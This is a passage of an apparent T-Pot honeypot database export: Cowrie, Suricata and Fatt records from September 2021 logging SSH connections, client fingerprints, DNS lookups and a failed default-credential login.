"hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 29573, "dest_port": 22, "timestamp": "2021-09-20T11:06:30.405063", "@timestamp": "2021-09-20T11:06:30.405Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
38335	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:27:15.983544+03	2021-09-20 15:30:04.863882+03	{"_id": "6AYsA3wBvYTbRNuEvm6p", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 29685, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1916418671182328, "@version": "1", "in_iface": "enp5s0", "src_port": 60493, "dest_port": 53, "timestamp": "2021-09-20T12:27:15.983544Z", "@timestamp": "2021-09-20T12:27:15.983Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
21825	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:31.029266+03	2021-09-20 14:15:04.152612+03	{"_id": "TQXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "45929a3d8d2b", "@version": "1", "duration": 2.590350389480591, "timestamp": "2021-09-20T11:06:31.029266Z", "@timestamp": "2021-09-20T11:06:31.029Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21826	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:31.064554+03	2021-09-20 14:15:04.153613+03	{"_id": "TgXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "4463f8a835ce", "@version": "1", "duration": 3.660301923751831, "timestamp": "2021-09-20T11:06:31.064554Z", "@timestamp": "2021-09-20T11:06:31.064Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21827	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:06:30.405605+03	2021-09-20 14:15:04.154612+03	{"_id": "RQXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "eda904d05d15", "@version": "1", "timestamp": "2021-09-20T11:06:30.405605Z", "@timestamp": "2021-09-20T11:06:30.405Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21828	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:30.738053+03	2021-09-20 14:15:04.156613+03	{"_id": "RgXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:30.738053Z", "@timestamp": "2021-09-20T11:06:30.738Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
21829	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:30.746854+03	2021-09-20 14:15:04.157642+03	{"_id": "RwXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [auction/auction] failed", "session": "882fee0caf1d", "@version": "1", "password": "auction", "username": "auction", "timestamp": "2021-09-20T11:06:30.746854Z", "@timestamp": "2021-09-20T11:06:30.746Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21830	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:06:31.832449+03	2021-09-20 14:15:04.158643+03	{"_id": "XAXiAnwBvYTbRNuE0v-4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 61820, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2255, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1824020722331174, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 50144, "timestamp": "2021-09-20T11:06:31.832449Z", "@timestamp": "2021-09-20T11:06:31.832Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
21831	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:30.989789+03	2021-09-20 14:15:04.159635+03	{"_id": "aAXiAnwBvYTbRNuE0_-m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47654, "timestamp": "2021-09-20T11:06:30.989789", "@timestamp": "2021-09-20T11:06:30.989Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21832	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:31.383318+03	2021-09-20 14:15:04.160642+03	{"_id": "YgXiAnwBvYTbRNuE0_-k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "fc3c7432252e", "@version": "1", "duration": 5.417256116867065, "timestamp": "2021-09-20T11:06:31.383318Z", "@timestamp": "2021-09-20T11:06:31.383Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21833	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:31.739992+03	2021-09-20 14:15:04.162643+03	{"_id": "bwXiAnwBvYTbRNuE0_-o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49762, "timestamp": "2021-09-20T11:06:31.739992", "@timestamp": "2021-09-20T11:06:31.739Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21834	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:31.738288+03	2021-09-20 14:15:04.164643+03	{"_id": "YwXiAnwBvYTbRNuE0_-l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:49762 (192.168.176.2:22) [session: 80fa559a3d79]", "session": "80fa559a3d79", "@version": "1", "protocol": "ssh", "src_port": 49762, "dest_port": 22, "timestamp": "2021-09-20T11:06:31.738288Z", "@timestamp": "2021-09-20T11:06:31.738Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21835	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:31.332615+03	2021-09-20 14:15:04.16565+03	{"_id": "cAXiAnwBvYTbRNuE0_-o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "223.241.247.214", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.5946829319000244, "duplicate": true, "timestamp": "2021-09-20T11:06:31.332615Z", "@timestamp": "2021-09-20T11:06:31.332Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
21836	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:31.735955+03	2021-09-20 14:15:04.166643+03	{"_id": "awXiAnwBvYTbRNuE0_-m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:31.735955Z", "@timestamp": "2021-09-20T11:06:31.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
21837	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:32.011466+03	2021-09-20 14:15:04.167646+03	{"_id": "bAXiAnwBvYTbRNuE0_-m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8a93ac589f64", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:32.011466Z", "@timestamp": "2021-09-20T11:06:32.011Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21838	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:32.016477+03	2021-09-20 14:15:04.168612+03	{"_id": "bQXiAnwBvYTbRNuE0_-m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "2290afe28b50", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:32.016477Z", "@timestamp": "2021-09-20T11:06:32.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21839	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:32.017299+03	2021-09-20 14:15:04.169646+03	{"_id": "bgXiAnwBvYTbRNuE0_-m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "2290afe28b50", "@version": "1", "timestamp": "2021-09-20T11:06:32.017299Z", "@timestamp": "2021-09-20T11:06:32.017Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21840	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:22.787155+03	2021-09-20 14:15:04.170642+03	{"_id": "pAXiAnwBvYTbRNuEr_2L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1662693160063854, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 42090, "dest_port": 22, "timestamp": "2021-09-20T11:06:22.787155Z", "@timestamp": "2021-09-20T11:06:22.787Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
